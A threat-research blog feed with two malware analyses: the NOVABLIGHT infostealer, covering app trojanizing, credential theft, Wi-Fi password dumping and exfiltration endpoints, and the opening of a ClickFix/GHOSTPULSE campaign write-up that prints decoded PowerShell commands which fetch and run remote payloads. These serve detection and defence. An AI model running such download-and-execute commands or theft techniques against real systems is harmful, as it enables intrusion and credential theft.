<p>NOVABLIGHT can inject malicious code into several popular Electron-based applications. The payloads are dynamically fetched from the endpoint <code>https://api.nova-blight[.]top/injections/*targeted_application*/*some_key*</code>, targeting applications such as:</p>
<ul>
<li>Discord client</li>
<li>Exodus wallet</li>
<li>Mullvad VPN client</li>
<li>Atomic wallet</li>
<li>Mailspring email client</li>
</ul>
<p>We were able to retrieve all of the modules from a public GitHub <a href="https://github.com/CrackedProgramer412/caca/tree/main">repository</a>.</p>
<p>The injection implementation is a classic example of Electron App repacking: unpacking the ASAR file, rewriting any targeted source files, then repacking it. Looking at an example involving the Mullvad client, it first unpacks <code>Program Files\\Mullvad VPN\\resources\\app.asar</code> into a temporary directory, fetches a backdoored version of <code>account.js</code> from <code>https://api.nova-blight[.]top/injections/mullvad/dVukBEtL8rW2PDgkwdwfbNSdG3imwU8bZhYUygzthir66sXXUuyURunOin9s</code>, overwrites the source file <code>account.js</code>, and finally repacks it. While it might still work for older versions of Mullvad such as <a href="https://github.com/mullvad/mullvadvpn-app/releases/tag/2025.4">2025.4</a>, this does not seem to work on the latest version of Mullvad.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/maas-appeal-an-infostealer-rises-from-the-ashes/image17.png" alt="Repacking the Mullvad client" /></p>
<p>In a similar case for the Exodus client, the NOVABLIGHT developers modified the setPassphrase function in the main module of the Exodus application, with additional credential-stealing functionalities.<br />
This is what <a href="https://www.virustotal.com/gui/file/cf3a8cdb3fca4e9944dc90d13f2f4f2b4ae317955571d9132e97cc46a06f277b/detection"><code>main/index.js</code></a> looks like in a legitimate release of Exodus 25.28.4:</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/maas-appeal-an-infostealer-rises-from-the-ashes/image21.png" alt="Original logic of main/index.js in the Exodus client" /></p>
<p>In the trojanized <code>index.js</code>, user-entered passphrases are exfiltrated via configurable Discord webhooks and Telegram - using either the official Telegram API or a custom Telegram API proxy.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/maas-appeal-an-infostealer-rises-from-the-ashes/image8.png" alt="Trojanized index.js" /></p>
<h3>Chrome sensitive data extraction</h3>
<p>For targeting Chromium-based browsers (Brave, Chrome, Edge) running on version 137, the malware downloads a zip file containing a Chrome data decryption tool from <a href="https://github.com/Hyutop/pandakmc-auto-vote/blob/main/bin.zip">https://github.com/Hyutop/pandakmc-auto-vote/blob/main/bin.zip</a>.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/maas-appeal-an-infostealer-rises-from-the-ashes/image35.png" alt="Dynamically retrieving Chrome data decryption tool" /></p>
<p>The GitHub repository attempts to masquerade as a Minecraft voting management tool.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/maas-appeal-an-infostealer-rises-from-the-ashes/image36.png" alt="GitHub repo with a fake README" /></p>
<p>However, the zip file <code>bin.zip</code> contains the compiled code (<a href="https://www.virustotal.com/gui/file/82920f3482c55430361b0cf184abf546fdb32fa079026d6ce1653f4cab49647d/detection">decrypt.exe</a> and <a href="https://www.virustotal.com/gui/file/daa1caa02a95411261aa7ed94762864e6f7bd7aa5fa79dfc9c1f3741d5ef8027">chrome_decrypt.dll</a>) of version 0.11.0 of the Chrome App-bound decrypter PoC project by <a href="https://github.com/xaitax/Chrome-App-Bound-Encryption-Decryption">xaitax</a>.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/maas-appeal-an-infostealer-rises-from-the-ashes/image32.png" alt="Chrome App-Bound Decryption tool by xaitax" /></p>
<h3>System enumeration</h3>
<p>Once active, NOVABLIGHT executes a comprehensive suite of system enumeration functions designed to build a complete profile of the victim's machine and user activity. Each module targets a specific piece of information, which is then saved to a local directory before being uploaded to the command-and-control server. Detection engineers should note the specific implementations of each technique, and which data source(s) provide sufficient visibility.</p>
<ul>
<li><code>captureSystemInfo()</code>: Gathers extensive hardware and software specifications to fingerprint the device. This includes the Hardware ID (HWID), CPU and GPU models, RAM size, disk information, Windows OS version, and a list of all connected USB devices.</li>
<li>Output: <code>*configured_path*/System Info.txt</code></li>
</ul>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/maas-appeal-an-infostealer-rises-from-the-ashes/image34.png" alt="Collecting system information" /></p>
<ul>
<li><code>captureScreen()</code>: Captures a full screenshot of the victim's desktop, providing immediate insight into the user's current activity.
<ul>
<li>Method: Utilizes the <a href="https://www.npmjs.com/package/screenshot-desktop">screenshot-desktop</a> library.</li>
<li>Output: A timestamped image file (e.g., <em>configured_path</em>/<em>hostname</em>_2025-10-26_14-30-00.png`).</li>
</ul>
</li>
<li><code>captureTaskList()</code>: Obtains a list of all currently running processes for situational awareness, allowing the attacker to see what applications and security tools are active.
<ul>
<li>Method: Executes the command <code>tasklist /FO CSV /NH</code>.</li>
<li>Output: <code>*configured_path*/TaskManagerInfo.txt </code></li>
</ul>
</li>
<li><code>captureAVDetails()</code>: Identifies the installed antivirus or endpoint protection product by querying the Windows Security Center.
<ul>
<li>Method: Executes the PowerShell command <code>Get-CimInstance -Namespace root/SecurityCenter2 -ClassName AntiVirusProduct | Format-List</code></li>
<li>Output: <code>*configured_path*/Avdetails.txt</code></li>
</ul>
</li>
<li><code>captureClipboardContent()</code>: Dumps the current content of the user's clipboard, which can contain sensitive, transient information like passwords or copied messages.
<ul>
<li>Method: Executes the PowerShell command <code>Get-Clipboard</code>.</li>
<li>Output: <code>*configured_path*/Clipboard.txt</code></li>
</ul>
</li>
<li><code>captureWebcamVideo()</code>: Covertly records a video using the system's primary webcam, providing visual intelligence on the victim and their environment.
<ul>
<li>Method: Leverages the <a href="http://direct-synch-show"><code>direct-synch-show</code></a> library for video capture.</li>
<li>Output: <code>*configured_path*/Bighead.avi</code></li>
</ul>
</li>
<li><code>captureWifiPasswords()</code>: Exfiltrates the passwords for all saved Wi-Fi networks on the device, allowing for potential lateral movement or access to other networks the victim uses.
<ul>
<li>Method: Executes the command <code>netsh wlan show profile *wifi_ssid* key=clear</code> for each profile.</li>
<li>Output: <code>*configured_path*/WifiPasswords.txt</code></li>
</ul>
</li>
<li><code>getFilesUrgents</code>: This functionality exfiltrate files on disk according to a set of keywords as follow: <strong>backup, default, code, discord, token, passw, mdp, motdepasse, mot_de_passe, login, secret, account, acount, apacht, banque, bank, matamask, wallet, crypto, exdous, 2fa, a1f, memo, compone, finance, seecret, credit, cni,</strong> these files are archived as <code>files.zip</code> then sent to the C2.</li>
</ul>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/maas-appeal-an-infostealer-rises-from-the-ashes/image28.png" alt="Collecting important files" /></p>
<h3>Data exfiltration</h3>
<p>There are 3 channels for the stolen data: the official web panel owned by the NOVABLIGHT group, the Discord webhook API, and the Telegram API. The status of these channels is uncertain, as the main proxy API and web panel are currently down, which may disrupt the functionality of the Discord and Telegram channels if they rely on the same proxy infrastructure.</p>
<p>The web panel was once the official exfiltration channel, as it was advertised as their primary data management platform.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/maas-appeal-an-infostealer-rises-from-the-ashes/image12.png" alt="Dashboard on the NOVABLIGHT web panel" /></p>
<p>The Telegram implementation first tries to send the data to a configured proxy URL, the code checks if the URL contains the string <code>req</code> in this case <code>https://bamboulacity.nova-blight[.]xyz/req/dVukBEtL8rW2PDgkwdwfbNSdG3imwU8bZhYUygzthir66sXXUuyURunOin9s</code>.</p>
<p>If the proxy URL is not configured or does not meet the condition, the module falls back to communicating directly with the official Telegram API (at <code>https://api.telegram[.]org/bot*token*/sendMessage</code>) using a configured userId, chatId and botToken to send the stolen data.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/maas-appeal-an-infostealer-rises-from-the-ashes/image33.png" alt="Data exfiltration channel: Telegram" /></p>
<p>Unlike the Telegram module, the Discord webhook implementation is much simpler. It utilizes a single  URL for exfiltration with no fallback mechanism. The analyzed samples consistently used the custom proxy URL for this purpose.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/maas-appeal-an-infostealer-rises-from-the-ashes/image19.png" alt="Data exfiltration channel: Discord" /></p>
<p>NOVABLIGHT employs a redundant and multi-tiered infrastructure. Instead of relying on a single upload host, which would create a single point of failure, the malware leverages a combination of legitimate third-party file-hosting services and its own dedicated backend. The following is the extracted list of domains and endpoints:</p>
<ul>
<li><code>https://bashupload[.]com</code></li>
<li><code>https://litterbox.catbox[.]moe/resources/internals/api.php</code></li>
<li><code>https://tmpfiles[.]org/api/v1/upload</code></li>
<li><code>https://oshi[.]at/</code></li>
<li><code>http://sendfile[.]su/</code></li>
<li><code>https://wsend[.]net</code></li>
<li><code>https://api.gofile[.]io/servers</code></li>
<li><code>https://gofile[.]io/uploadFiles</code></li>
<li><code>https://rdmfile[.]eu/api/upload</code></li>
<li><code>https://bamboulacity.nova-blight[.]xyz/file/</code></li>
</ul>
<h3>Targeted data</h3>
<p>NOVABLIGHT executes targeted routines designed to steal credentials and session files from a specific list of installed software. The curated list is available in this GitHub <a href="https://gist.github.com/jiayuchann/4a27afce5be67dd73edb9c4b9a6de1f9">Gist</a>.</p>
<h2>Obfuscation techniques</h2>
<h3>Array mapping</h3>
<p>The first technique to tackle is the malware’s use of array mapping. The script initializes a single large global array <code>__p_6Aeb_dlrArray</code> with values of different types and encoding, which accounts for nearly all literal values used in the script.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/maas-appeal-an-infostealer-rises-from-the-ashes/image4.png" alt="Main global array used for value lookups" /></p>
<p>After substituting array index references, many small string chunks that make up a full string are split and concatenated at runtime, but at this stage, the NOVABLIGHT versioning number can be identified easily.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/maas-appeal-an-infostealer-rises-from-the-ashes/image24.png" alt="Results after fixing array mapping for __p_6Aeb_dlrArray" /></p>
<h3>String encoding</h3>
<p>The second technique used to hide strings is the usage of base91 encoding. The function wrapper <code>__p_xIFu_MAIN_STR</code> is called with an integer argument.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/maas-appeal-an-infostealer-rises-from-the-ashes/image10.png" alt="Obfuscated strings" /></p>
<p>The integer is an index of a secondary array mapping <code>__p_9sMm_array</code> that contains encoded strings. It retrieves the encoded string and passes it to the decoding routine <code>__p_xIFu_MAIN_STR_decode</code>.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/maas-appeal-an-infostealer-rises-from-the-ashes/image9.png" alt="Global array used for lookup by __p_xIFu_MAIN_STR" /></p>
<p><code>__p_xIFu_MAIN_STR_decode</code> will then decode it using a custom alphabet:<br />
<code>vFAjbQox\&gt;5?4K$m=83GYu.nBIh\&lt;drPaN\^@%Hk:D_sSyz&quot;ER9/p,(*JwtfO)iUl&amp;C\[~\}\{|Z+gX1MqL;60!e]T#2cVW7</code> and return the decoded string.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/maas-appeal-an-infostealer-rises-from-the-ashes/image26.png" alt="Main logic for string decoding" /></p>
<h3>Access pattern obfuscation</h3>
<p>Instead of accessing objects and functions directly, the code uses intermediate flattened “proxy” objects with mangled keys, wrapping objects in another layer of objects to hide the original access patterns.</p>
<p>For example, the function <code>__p_LQ1f_flat_…</code> is passed a flat object <code>__p_w3Th_flat_object</code>. This object contains 3 get accessors for properties, one of which returns the disableNetwork flag retrieved from the config, and a wrapper for a dispatcher call (<code>__p_jGTR_dispatcher_26</code>). Throughout the code, there is a pattern where the property names start with <code>empretecerian.js</code>, which happens to also be the script file’s name. The callee function can then access the actual objects and functions through this flat object populated by the caller.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/maas-appeal-an-infostealer-rises-from-the-ashes/image29.png" alt="Example pattern for flattened object" /></p>
<h3>Control flow obfuscation</h3>
<p>Some of the code’s execution path is routed through a central dispatcher,  <code>__p_jGTR_dispatcher_26</code>, in which the first argument name takes a short ID string.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/maas-appeal-an-infostealer-rises-from-the-ashes/image7.png" alt="The main dispatcher’s function signature" /></p>
<p>Each ID is mapped to a distinct function. For example, the ID <code>jgqatJ</code> is referenced by the <code>modules/init/Troll.js</code> module and it is responsible for a “troll” popup message box.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/maas-appeal-an-infostealer-rises-from-the-ashes/image14.png" alt="Mapping function ID to the actual function" /></p>
<h3>Proxy variables</h3>
<p>First, the obfuscation transforms function syntax to “<a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Functions/rest_parameters">rest parameters syntax</a>” which replaces the parameters with an array that stores variable values instead of direct variables, the code then references the array with numerical values. For instance, the function <code>__p_xIFu_MAIN_STR_decode</code> is not called with direct parameters. Instead, its arguments are first placed into the <code>__p_A5wG_varMask</code> array (line 22), and the function is programmed to retrieve them from predefined indices. For example, at line 25, the index <code>-36</code> of the array stores the index of the character &quot;c&quot; in a string stored in <code>__p_A5wG_varMask[171]</code>.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/maas-appeal-an-infostealer-rises-from-the-ashes/image3.png" alt="Function utilizing rest parameters" /></p>
<h2>NOVABLIGHT and MITRE ATT&amp;CK</h2>
<p>Elastic uses the <a href="https://attack.mitre.org/">MITRE ATT&amp;CK</a> framework to document common tactics, techniques, and procedures that advanced persistent threats use against enterprise networks.</p>
<h3>Tactics</h3>
<ul>
<li><a href="https://attack.mitre.org/tactics/TA0002/">Execution</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0003/">Persistence</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0005/">Defense Evasion</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0006/">Credential Access</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0007/">Discovery</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0009/">Collection</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0011/">Command and Control</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0010/">Exfiltration</a></li>
</ul>
<h3>Techniques</h3>
<ul>
<li><a href="https://attack.mitre.org/techniques/T1027/">Obfuscated Files or Information</a></li>
<li><a href="https://attack.mitre.org/techniques/T1057/">Process Discovery</a></li>
<li><a href="https://attack.mitre.org/techniques/T1059/001/">Command and Scripting Interpreter: PowerShell</a></li>
<li><a href="https://attack.mitre.org/techniques/T1059/007/">Command and Scripting Interpreter: JavaScript</a></li>
<li><a href="https://attack.mitre.org/techniques/T1074/001/">Data Staged: Local Data Staging</a></li>
<li><a href="https://attack.mitre.org/techniques/T1082/">System Information Discovery</a></li>
<li><a href="https://attack.mitre.org/techniques/T1083/">File and Directory Discovery</a></li>
<li><a href="https://attack.mitre.org/techniques/T1113/">Screen Capture</a></li>
<li><a href="https://attack.mitre.org/techniques/T1115/">Clipboard Data</a></li>
<li><a href="https://attack.mitre.org/techniques/T1125/">Video Capture</a></li>
<li><a href="https://attack.mitre.org/techniques/T1497/001/">Virtualization/Sandbox Evasion: System Checks</a></li>
<li><a href="https://attack.mitre.org/techniques/T1531/">Account Access Removal</a></li>
<li><a href="https://attack.mitre.org/techniques/T1555/003/">Credentials from Password Stores: Credentials from Web Browsers</a></li>
<li><a href="https://attack.mitre.org/techniques/T1562/001/">Impair Defenses: Disable or Modify Tools</a></li>
<li><a href="https://attack.mitre.org/techniques/T1567/002/">Exfiltration Over Web Service: Exfiltration to Cloud Storage</a></li>
</ul>
<h2>Conclusion</h2>
<p>NOVABLIGHT shows how even lesser-known malware can make an impact. By offering a polished, easy-to-use tool through platforms like Telegram and Discord, its creators have made it simple for anyone to get involved in cybercrime.</p>
<p>Furthermore, this threat is not static. Our analysis confirms that NOVABLIGHT is under continuous and active development. This ongoing evolution ensures that NOVABLIGHT will remain a persistent and relevant threat for the foreseeable future.</p>
<h2>Detecting NOVABLIGHT</h2>
<h3>YARA</h3>
<p>Elastic Security has created YARA rules to identify this activity.</p>
<pre><code class="language-yara">rule Windows_Infostealer_NovaBlight {
    meta:
        author = &quot;Elastic Security&quot;
        creation_date = &quot;2025-07-18&quot;
        last_modified = &quot;2025-07-28&quot;
        os = &quot;Windows&quot;
        arch = &quot;x86&quot;
        category_type = &quot;Infostealer&quot;
        family = &quot;NovaBlight&quot;
        threat_name = &quot;Windows.Infostealer.NovaBlight&quot;
        reference_sample = &quot;d806d6b5811965e745fd444b8e57f2648780cc23db9aa2c1675bc9d18530ab73&quot;

    strings:
        $a1 = &quot;C:\\Users\\Administrateur\\Desktop\\Nova\\&quot;
        $a2 = &quot;[+] Recording...&quot; fullword
        $a3 = &quot;[+] Capture start&quot; fullword
    condition:
        all of them
}
</code></pre>
<h2>Observations</h2>
<p>The following observables were discussed in this research.</p>
<table>
<thead>
<tr>
<th align="left">Observable</th>
<th align="left">Type</th>
<th align="left">Name</th>
<th align="left">Reference</th>
</tr>
</thead>
<tbody>
<tr>
<td align="left"><code>ed164ee2eacad0eea9dc4fbe271ee2b2387b59929d73c843281a8d5e94c05d64</code></td>
<td align="left">SHA-256</td>
<td align="left"></td>
<td align="left">NOVABLIGHT VERSION 2.2</td>
</tr>
<tr>
<td align="left"><code>39f09771d70e96c7b760b3b6a30a015ec5fb6a9dd5bc1e2e609ddf073c2c853d</code></td>
<td align="left">SHA-256</td>
<td align="left"></td>
<td align="left">NOVABLIGHT VERSION 2.1</td>
</tr>
<tr>
<td align="left"><code>97393c27195c58f8e4acc9312a4c36818fe78f2ddce7ccba47f77a5ca42eab65</code></td>
<td align="left">SHA-256</td>
<td align="left"></td>
<td align="left">NOVABLIGHT VERSION 2.0</td>
</tr>
<tr>
<td align="left"><code>api.nova-blight[.]top</code></td>
<td align="left">DOMAIN</td>
<td align="left"></td>
<td align="left">NOVABLIGHT dashboard</td>
</tr>
<tr>
<td align="left"><code>shadow.nova-blight[.]top</code></td>
<td align="left">DOMAIN</td>
<td align="left"></td>
<td align="left">NOVABLIGHT dashboard</td>
</tr>
<tr>
<td align="left"><code>nova-blight[.]site</code></td>
<td align="left">DOMAIN</td>
<td align="left"></td>
<td align="left">NOVABLIGHT dashboard</td>
</tr>
<tr>
<td align="left"><code>nova-blight[.]xyz</code></td>
<td align="left">DOMAIN</td>
<td align="left"></td>
<td align="left">NOVABLIGHT dashboard</td>
</tr>
<tr>
<td align="left"><code>bamboulacity.nova-blight[.]xyz</code></td>
<td align="left">DOMAIN</td>
<td align="left"></td>
<td align="left">NOVABLIGHT dashboard</td>
</tr>
</tbody>
</table>
<h2>References</h2>
<p>The following were referenced throughout the above research:</p>
<ul>
<li><a href="https://www.gatewatcher.com/lab/groupe-nova-sentinel/">https://www.gatewatcher.com/lab/groupe-nova-sentinel/</a></li>
<li><a href="https://www.cyfirma.com/research/emerging-maas-operator-sordeal-releases-nova-infostealer/">https://www.cyfirma.com/research/emerging-maas-operator-sordeal-releases-nova-infostealer/</a></li>
</ul>
]]></content:encoded>
            <category>security-labs</category>
            <enclosure url="https://www.elastic.co/pt/security-labs/assets/images/maas-appeal-an-infostealer-rises-from-the-ashes/Security Labs Images 7.jpg" length="0" type="image/jpg"/>
        </item>
        <item>
            <title><![CDATA[A Wretch Client: From ClickFix deception to information stealer deployment]]></title>
            <link>https://www.elastic.co/pt/security-labs/a-wretch-client</link>
            <guid>a-wretch-client</guid>
            <pubDate>Wed, 18 Jun 2025 00:00:00 GMT</pubDate>
            <description><![CDATA[Elastic Security Labs detected a surge in ClickFix campaigns, using GHOSTPULSE to deploy Remote Access Trojans and data-stealing malware.]]></description>
            <content:encoded><![CDATA[<h2>Preamble</h2>
<p>Elastic Security Labs has observed the ClickFix technique gaining popularity for multi-stage campaigns that deliver various malware through social engineering tactics.</p>
<p>Our threat intelligence indicates a substantial surge in activity leveraging <a href="https://krebsonsecurity.com/2024/09/this-windows-powershell-phish-has-scary-potential/">ClickFix</a> (<a href="https://www.proofpoint.com/us/blog/threat-insight/clipboard-compromise-powershell-self-pwn">technique first observed</a>) as a primary initial access vector. This social engineering technique tricks users into copying and pasting malicious PowerShell that results in malware execution. Our telemetry has tracked its use since last year, including instances leading to the deployment of new versions of the <a href="https://www.elastic.co/pt/security-labs/tricks-and-treats">GHOSTPULSE loader</a>. This led to campaigns targeting a broad audience using malware and infostealers, such as <a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.lumma">LUMMA</a> and <a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.sectop_rat">ARECHCLIENT2</a>, a family first observed in 2019 but now experiencing a significant surge in popularity.</p>
<p>This post examines a recent ClickFix campaign, providing an in-depth analysis of its components, the techniques employed, and the malware it ultimately delivers.</p>
<h2>Key takeaways</h2>
<ul>
<li><strong>ClickFix:</strong> Remains a highly effective and prevalent initial access method.</li>
<li><strong>GHOSTPULSE:</strong> Continues to be widely used as a multi-stage payload loader, featuring ongoing development with new modules and improved evasion techniques. Notably, its initial configuration is delivered within an encrypted file.</li>
<li><strong>ARECHCLIENT2 (SECTOPRAT):</strong> Has seen a considerable increase in malicious activity throughout 2025.</li>
</ul>
<h2>The Initial Hook: Deconstructing ClickFix's Social Engineering</h2>
<p>Every successful multi-stage attack begins with a foothold, and in many recent campaigns, that initial step has been satisfied by ClickFix. ClickFix leverages human psychology, transforming seemingly innocuous user interactions into the very launchpad for compromise.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/a-wretch-client/image1.png" alt="" /></p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/a-wretch-client/image15.png" alt="Fake captcha" title="Fake captcha" /></p>
<p>At its core, ClickFix is a social engineering technique designed to manipulate users into inadvertently executing malicious code on their systems. It preys on common online behaviors and psychological tendencies, presenting users with deceptive prompts – often disguised as browser updates, system errors, or even CAPTCHA verifications. The trick is simple yet incredibly effective: instead of a direct download, the user is instructed to copy a seemingly harmless &quot;fix&quot; (which is a malicious PowerShell command) and paste it directly into their operating system's run dialog. This seemingly voluntary action bypasses many traditional perimeter defenses, as the user initiates the process.</p>
<p>ClickFix first emerged on the threat landscape in March 2024, but it has rapidly gained traction, exploding in prevalence throughout 2024 and continuing its aggressive ascent into 2025. Its effectiveness lies in exploiting &quot;verification fatigue&quot; – the subconscious habit users develop of mindlessly clicking through security checks. When confronted with a familiar-looking CAPTCHA or an urgent &quot;fix it&quot; button, many users, conditioned by routine, simply comply without scrutinizing the underlying request. This makes <strong>ClickFix</strong> an incredibly potent initial access vector, favored by a broad spectrum of threat actors due to its high success rate in breaching initial defenses.</p>
<p>Our recent Elastic Security research on <strong><a href="https://www.elastic.co/pt/security-labs/eddiestealer">EDDIESTEALER</a></strong> provides another concrete example of <strong>ClickFix</strong>'s efficacy in facilitating malware deployment, further underscoring its versatility and widespread adoption in the threat landscape.</p>
<p>Our internal telemetry at Elastic corroborates this trend, showing a significant volume in ClickFix-related alerts across our observed environments, particularly within Q1 2025. We've noted an increase in attempts compared to the previous quarter, with a predominant focus on the deployment of mass infection malware, such as RATs and InfoStealers.</p>
<h2>A ClickFix Campaign's Journey to ARECHCLIENT2</h2>
<p>The <strong>ClickFix</strong> technique often serves as the initial step in a larger, multi-stage attack. We've recently analyzed a campaign that clearly shows this progression. This operation begins with a <strong>ClickFix</strong> lure, which tricks users into starting the infection process. After gaining initial access, the campaign deploys an updated version of the <strong><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.hijackloader">GHOSTPULSE</a></strong> Loader (also known as <strong>HIJACKLOADER</strong>, <strong>IDATLOADER</strong>). This loader then brings in an intermediate .NET loader. This additional stage is responsible for delivering the final payload: an <strong><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.sectop_rat">ARECHCLIENT2</a></strong> (<strong>SECTOPRAT</strong>) sample, loaded directly into memory. This particular attack chain demonstrates how adversaries combine social engineering with hidden loader capabilities and multiple execution layers to steal data and gain remote control ultimately.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/a-wretch-client/image16.png" alt="Execution flow" title="Execution flow" /></p>
<p>We observed this exact campaign in our telemetry on , providing us with a direct look into its real-world execution and the sequence of its components.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/a-wretch-client/image6.png" alt="Execution flow in Kibana" title="Execution flow in Kibana" /></p>
<h2>Technical analysis of the infection</h2>
<p>The infection chain begins with a phishing page that imitates a Cloudflare anti-DDoS Captcha verification.</p>
<p>We observed two infrastructures (both resolving to <code>50.57.243[.]90</code>) <code>https://clients[.]dealeronlinemarketing[[.]]com/captcha/</code> and <code>https://clients[.]contology[.]com/captcha/</code> that deliver the same initial payload.</p>
<p>User interaction on this page initiates execution. GHOSTPULSE serves as the malware loader in this campaign. Elastic Security Labs has been closely tracking this loader, and our previous research (<a href="https://www.elastic.co/pt/security-labs/ghostpulse-haunts-victims-using-defense-evasion-bag-o-tricks">2023 and</a> <a href="https://www.elastic.co/pt/security-labs/tricks-and-treats">2024</a>) provided a detailed look into its initial capabilities.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/a-wretch-client/image12.png" alt="Fake captcha hosted by contology[.]com" title="Fake captcha hosted by contology[]].com" /></p>
<p>The webpage is a heavily obfuscated JavaScript script that generates the HTML code and JavaScript, which copies a PowerShell command to the clipboard.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/a-wretch-client/image20.png" alt="Obfuscated JavaScript of the captcha page" title="Obfuscated JavaScript of the captcha page" /></p>
<p>Inspecting the runtime HTML code in a browser, we can see the front end of the page, but not the script that is run after clicking on the checkbox <code>Verify you are human.</code></p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/a-wretch-client/image26.png" alt="HTML code of the captcha page" title="HTML code of the captcha page" /></p>
<p>A simple solution is to run it in a debugger to retrieve the information during execution. The second JS code is obfuscated, but we can easily identify two interesting functions. The first function, <code>runClickedCheckboxEffects</code>, retrieves the public IP address of the machine by querying <code>https://api.ipify[.]org?format=json,</code> then it sends the IP address to the attacker’s infrastructure,  <code>https://koonenmagaziner[.]click/counter/&amp;lt;IP_address&gt;,</code> to log the infection.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/a-wretch-client/image19.png" alt="JavaScript of the captcha page" title="JavaScript of the captcha page" /></p>
<p>The second function copies a base64-encoded PowerShell command to the clipboard.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/a-wretch-client/image11.png" alt="Command copied to the clipboard by the JavaScript script" title="Command copied to the clipboard by the JavaScript script" /></p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/a-wretch-client/image25.png" alt="PowerShell command copied to the clipboard" title="PowerShell command copied to the clipboard" /></p>
<p>Which is the following when it is base64 decoded</p>
<pre><code class="language-powershell">(Invoke-webrequest -URI 'https://shorter[.]me/XOWyT' 
    -UseBasicParsing).content | iex
</code></pre>
<p>When executed, it fetches the following PowerShell script:</p>
<pre><code class="language-powershell">Invoke-WebRequest -Uri &quot;https://bitly[.]cx/iddD&quot; -OutFile 
    &quot;$env:TEMP\ComponentStyle.zip&quot;; Expand-Archive -Path 
    &quot;$env:TEMP/ComponentStyle.zip&quot; -DestinationPath 
    &quot;$env:TEMP&quot;; &amp; &quot;$env:TEMP\crystall\Crysta_x86.exe&quot;
</code></pre>
<p>The observed infection process for this campaign involves <strong>GHOSTPULSE</strong>'s deployment as follows: After the user executes the PowerShell command copied by <strong>ClickFix</strong>, the initial script fetches and runs additional <strong>commands</strong>. These PowerShell <strong>commands</strong> download a ZIP file (<code>ComponentStyle.zip</code>) from a remote location and then extract it into a temporary directory on the victim's system.</p>
<p>Extracted contents include components for <strong>GHOSTPULSE</strong>, specifically a benign executable (<code>Crysta_X64.exe</code>) and a malicious dynamic-link library (<code>DllXDownloadManager.dll</code>). This setup utilizes <strong>DLL sideloading</strong>, a technique in which the legitimate executable loads the malicious <strong>DLL</strong>. The file (<code>Heeschamjet.rc</code>) is the <strong>IDAT</strong> file that contains the next stage's payloads in an encrypted format</p>
<p>and the file <code>Shonomteak.bxi,</code> which is encrypted and used by the loader to fetch the stage 2 and configuration structure.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/a-wretch-client/image23.png" alt="Content of ComponentStyle.zip" title="Content of ComponentStyle.zip" /></p>
<h2>GHOSTPULSE</h2>
<h3>Stage 1</h3>
<p><strong>GHOSTPULSE</strong> is malware dating back to 2023. It has continuously received numerous updates, including a new way to store its encrypted payload in an image by embedding the payload in the PNG’s pixels, as detailed in <a href="https://www.elastic.co/pt/security-labs/tricks-and-treats">Elastic’s 2024 research blog post</a>, and new modules from <a href="https://www.zscaler.com/blogs/security-research/analyzing-new-hijackloader-evasion-tactics">Zscaler research</a>.</p>
<p>The malware used in this campaign was shipped with an additional encrypted file named <code>Shonomteak.bxi</code>. During stage 1 of the loader, it decrypts the file using a DWORD addition operation with a value stored in the file itself.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/a-wretch-client/image5.png" alt="Decryption of Shonomteak.bxi file" title="Decryption of Shonomteak.bxi file" /></p>
<p>The malware then extracts the stage 2 code from the decrypted file Shonomteak.bxi and injects it into a loaded library using the <code>LibraryLoadA</code> function. The library name is stored in the same decrypted file; in our case, it is <code>vssapi.dll</code>.</p>
<p>The stage 2 function is then called with a structure parameter containing the filename of the IDAT PNG file, the stage 2 configuration that was inside the decrypted <code>Shonomteak.bxi,</code> and a boolean field <code>b_detect_process</code> set to <code>True</code> in our case.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/a-wretch-client/image14.png" alt="Structure used in stage 2" title="Structure used in stage 2" /></p>
<h3>Stage 2</h3>
<p>When the boolean field <code>b_detect_process</code> is set to True, the malware executes a function that checks for a list of processes to see if they are running. If a process is detected, execution is delayed by 5 seconds.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/a-wretch-client/image13.png" alt="Delays execution by 5 seconds" title="Delays execution by 5 seconds" /></p>
